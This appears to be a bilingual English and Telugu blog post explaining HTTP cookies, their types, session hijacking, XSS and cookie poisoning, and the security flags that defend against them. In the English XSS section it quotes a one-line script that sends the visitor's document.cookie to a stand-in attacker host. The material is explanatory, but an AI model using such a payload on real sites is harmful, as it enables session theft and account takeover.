Translate

Saturday, 17 January 2026

What is " Cookie " in Cyber Security

 In the world of cyber security, a Cookie (technically known as an HTTP Cookie) is a small piece of data sent from a website and stored on a user's computer by their web browser while they are browsing.

Think of a cookie like a "digital coat check ticket." When you hand over your coat (log into a site), you get a ticket (the cookie). Later, when you want your coat back (access a private page), you show the ticket to prove you are the owner, so you don't have to explain who you are every single time.


How Cookies Work

Since the protocol used for the web (HTTP) is "stateless"—meaning the server forgets who you are the second a page loads—cookies were invented to give the web a "memory."

  1. Request: You visit a website (e.g., an online store).

  2. Creation: The server generates a unique ID for you and sends it back to your browser.

  3. Storage: Your browser saves this ID in a small text file on your hard drive.

  4. Identification: Every time you click a new link on that site, your browser automatically sends that ID back to the server. The server looks at the ID and says, "Ah, this is the same person who just put those shoes in the cart."


Types of Cookies

Cookies are generally categorized by how long they last and who created them:

TypeLifespanPrimary Use
Session CookieTemporary; deleted when the browser closes.Keeping you logged in while you navigate different pages.
Persistent CookieStays until a specific expiration date."Remember Me" login boxes or saved site themes.
First-Party CookieSet by the website you are currently visiting.Saving your shopping cart or preferred language.
Third-Party CookieSet by a domain other than the one you're on.Tracking your behavior across multiple sites for advertising.
Secure CookieTransmitted only over encrypted (HTTPS) connections.Protecting sensitive data from being "sniffed" on public Wi-Fi.

Cyber Security Risks & Attacks

While cookies themselves aren't malicious (they aren't programs and can't carry viruses), they contain sensitive "session tokens." If an attacker steals your cookie, they can impersonate you without ever needing your password.

1. Session Hijacking (Cookie Theft)

In this attack, a hacker steals your active session cookie.

  • Example: You are logged into your bank on a public Wi-Fi. A hacker using a "packet sniffer" (like the famous tool Firesheep) intercepts your cookie as it travels through the air. They then put that cookie into their own browser and instantly gain access to your bank account without needing your password or 2FA.

2. Cross-Site Scripting (XSS)

This is the most common way cookies are stolen. An attacker injects a malicious script into a legitimate website.

  • Example: You visit a forum where an attacker has posted a comment containing a hidden script: <script>document.location='http://hacker.com/steal?cookie=' + document.cookie</script>. When your browser loads that comment, it runs the script and sends your private login cookie directly to the hacker’s server.

3. Cookie Poisoning (Manipulation)

An attacker modifies the content of a cookie to bypass security checks.

  • Example: A poorly coded e-commerce site stores your user ID in a cookie like user_id=101. An attacker might manually change their cookie to user_id=001 (the Admin ID) to see if the server grants them administrative access.


How to Stay Secure

Developers use specific "Flags" to protect cookies from the attacks mentioned above:

  • HttpOnly: This flag prevents JavaScript from accessing the cookie. It effectively stops XSS attacks from stealing your session.

  • Secure Flag: This ensures the cookie is only sent over encrypted HTTPS. It stops hackers from "sniffing" the cookie on public Wi-Fi.

  • SameSite: This flag tells the browser not to send the cookie if the request is coming from a different website, which prevents Cross-Site Request Forgery (CSRF).

Pro Tip: You should regularly clear your browser cookies or use "Incognito Mode" for sensitive tasks, as this ensures session cookies are deleted the moment you close the window.



సైబర్ సెక్యూరిటీ ప్రపంచంలో "కుకీ" (Cookie) లేదా HTTP కుకీ అనేది మీరు ఒక వెబ్‌సైట్‌ను సందర్శించినప్పుడు ఆ వెబ్‌సైట్ సర్వర్ నుండి మీ బ్రౌజర్‌కు పంపబడే ఒక చిన్న డేటా ఫైల్.

దీనిని సులభంగా అర్థం చేసుకోవడానికి ఒక ఉదాహరణ: మీరు ఒక హోటల్‌లో మీ కోటును "కోట్ చెక్" కౌంటర్‌లో ఇచ్చారనుకోండి. వారు మీకు ఒక టోకెన్ ఇస్తారు. మీరు తిరిగి వచ్చినప్పుడు ఆ టోకెన్ చూపిస్తేనే మీ కోటు మీకు ఇస్తారు. ఇక్కడ టోకెన్ అనేది కుకీ లాంటిది. ఇది మీరు ఎవరో వెబ్‌సైట్‌కు గుర్తు చేస్తుంది.


కుకీలు ఎలా పనిచేస్తాయి?

వెబ్ ప్రోటోకాల్ (HTTP) అనేది "స్టేట్‌లెస్" (Stateless), అంటే ఒక పేజీ నుండి మరో పేజీకి వెళ్ళినప్పుడు సర్వర్ మిమ్మల్ని గుర్తుపెట్టుకోదు. ఈ సమస్యను పరిష్కరించడానికే కుకీలను ఉపయోగిస్తారు.

  1. అభ్యర్థన (Request): మీరు ఒక వెబ్‌సైట్‌ను ఓపెన్ చేస్తారు.

  2. సృష్టించడం (Creation): సర్వర్ మీ కోసం ఒక యూనిక్ IDని సృష్టించి మీ బ్రౌజర్‌కు పంపుతుంది.

  3. నిల్వ (Storage): మీ బ్రౌజర్ ఆ IDని మీ కంప్యూటర్ లేదా ఫోన్‌లో భద్రపరుస్తుంది.

  4. గుర్తింపు (Identification): మీరు అదే వెబ్‌సైట్‌లో వేరే పేజీకి వెళ్ళినప్పుడు, బ్రౌజర్ ఆ IDని సర్వర్‌కు పంపుతుంది. సర్వర్ వెంటనే "ఓహో! ఇది ఇందాక లాగిన్ అయిన వ్యక్తి" అని గుర్తుపడుతుంది.


కుకీలలో రకాలు

కుకీలు అవి ఎంతకాలం ఉంటాయి మరియు ఎవరు సృష్టించారు అనేదానిపై ఆధారపడి రకాలుగా విభజించబడ్డాయి:

రకంకాలపరిమితిప్రధాన ఉపయోగం
సెషన్ కుకీ (Session Cookie)తాత్కాలికం; బ్రౌజర్ మూసివేయగానే డిలీట్ అవుతుంది.మీరు లాగిన్ అయి ఉన్నంత సేపు మిమ్మల్ని గుర్తుంచుకోవడానికి.
పర్సిస్టెంట్ కుకీ (Persistent Cookie)నిర్దిష్ట గడువు వరకు ఉంటుంది."Remember Me" ఆప్షన్ లేదా భాషా ప్రాధాన్యతలను గుర్తుంచుకోవడానికి.
ఫస్ట్-పార్టీ కుకీ (First-Party Cookie)మీరు చూస్తున్న వెబ్‌సైట్ ద్వారా సృష్టించబడుతుంది.షాపింగ్ కార్ట్‌లో వస్తువులను సేవ్ చేయడానికి.
థర్డ్-పార్టీ కుకీ (Third-Party Cookie)ఇతర వెబ్‌సైట్ల (ప్రకటనల) ద్వారా సృష్టించబడుతుంది.మీరు ఇంటర్నెట్‌లో ఏం వెతుకుతున్నారో ట్రాక్ చేసి ప్రకటనలు చూపడానికి.
సెక్యూర్ కుకీ (Secure Cookie)కేవలం ఎన్‌క్రిప్టెడ్ (HTTPS) కనెక్షన్ ద్వారానే పంపబడుతుంది.సున్నితమైన సమాచారాన్ని దొంగలించకుండా కాపాడటానికి.

సైబర్ సెక్యూరిటీ రిస్క్‌లు (Cyber Security Risks)

కుకీలు వైరస్‌లు కావు, కానీ అవి మీ వ్యక్తిగత సమాచారాన్ని (లాగిన్ వివరాలు వంటివి) కలిగి ఉంటాయి. హ్యాకర్లు వీటిని దొంగలిస్తే ప్రమాదం.

1. సెషన్ హైజాకింగ్ (Session Hijacking)

హ్యాకర్ మీ బ్రౌజర్‌లో ఉన్న కుకీని దొంగలించి, మీ అకౌంట్‌ను లాగిన్ పాస్‌వర్డ్ లేకుండానే వాడుకోవచ్చు.

  • ఉదాహరణ: మీరు పబ్లిక్ వైఫై (Public Wi-Fi) వాడుతున్నప్పుడు, హ్యాకర్ మీ డేటాను స్నిఫ్ చేసి మీ బ్యాంకింగ్ సెషన్ కుకీని దొంగలించవచ్చు.

2. క్రాస్-సైట్ స్క్రిప్టింగ్ (XSS)

వెబ్‌సైట్‌లోకి హానికరమైన కోడ్‌ను పంపి, ఆ సైట్ ద్వారా మీ కుకీలను దొంగలించడం.

  • ఉదాహరణ: ఒక వెబ్‌సైట్ కామెంట్ బాక్స్‌లో హ్యాకర్ ఒక స్క్రిప్ట్‌ను దాచిపెడతాడు. మీరు ఆ కామెంట్‌ను చూడగానే, ఆ స్క్రిప్ట్ మీ కుకీని హ్యాకర్ సర్వర్‌కు పంపేస్తుంది.

3. కుకీ పాయిజనింగ్ (Cookie Poisoning)

కుకీలోని సమాచారాన్ని హ్యాకర్ మార్చి సర్వర్‌ను మోసం చేయడం.

  • ఉదాహరణ: కుకీలో user_id=10 అని ఉంటే, హ్యాకర్ దానిని user_id=1 (అడ్మిన్ ID) గా మార్చి వెబ్‌సైట్‌ను అడ్మిన్‌గా యాక్సెస్ చేయడానికి ప్రయత్నిస్తాడు.


సురక్షితంగా ఉండటం ఎలా?

డెవలపర్లు కుకీలను రక్షించడానికి కొన్ని భద్రతా ఫ్లాగ్స్ (Flags) ఉపయోగిస్తారు:

  • HttpOnly: ఇది జావాస్క్రిప్ట్ ద్వారా కుకీలను దొంగిలించకుండా చేస్తుంది (XSS నుండి రక్షణ).

  • Secure Flag: కుకీ కేవలం సురక్షితమైన కనెక్షన్‌లోనే ప్రయాణించేలా చేస్తుంది.

  • SameSite: వేరే వెబ్‌సైట్ల నుండి వచ్చే అభ్యర్థనల ద్వారా కుకీలు దుర్వినియోగం కాకుండా చూస్తుంది.

సూచన: మీరు తరచుగా మీ బ్రౌజర్ కుకీలను క్లియర్ చేయడం లేదా బ్యాంకింగ్ వంటి పనుల కోసం "ఇన్‌కాగ్నిటో మోడ్" (Incognito Mode) వాడటం మంచిది. 

No comments:

Post a Comment

Note: only a member of this blog may post a comment.